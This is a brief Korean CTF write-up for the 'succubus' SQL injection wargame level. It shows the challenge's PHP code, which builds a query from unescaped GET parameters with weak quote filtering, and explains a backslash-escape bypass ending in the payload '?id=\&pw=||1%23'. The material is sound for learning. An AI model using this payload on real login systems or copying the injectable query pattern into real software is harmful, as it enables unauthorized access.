query : select id from prob_succubus where id='' and pw=''

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/\'/i'$_GET[id])) exit("HeHe"); 
  if(
preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) solve("succubus"); 
  
highlight_file(__FILE__); 
?>



  if($result['id']) solve("succubus"); 


쿼리의 결과값이 뭐든 나오면 문제가 풀립니다. id와 pw필드에 싱글쿼터를 필터링하고 있습니다. 우리는 \(백슬래시)를 적절히 이용하여 이 문제를 해결할 수 있습니다. id 파라미터에 \를 넣게되면 id 필드를 닫는 싱글쿼터가 문자열로 인식되어 pw 필드를 여는 싱글쿼터까지(' and pw=') 문자열로 인식되게 됩니다. 이후 우리가 pw 파라미터에 넣어주는 값은 문자열로 인식되는 필드를 벗어나게 됩니다.


?id=\&pw=||1%23

payload











+ Recent posts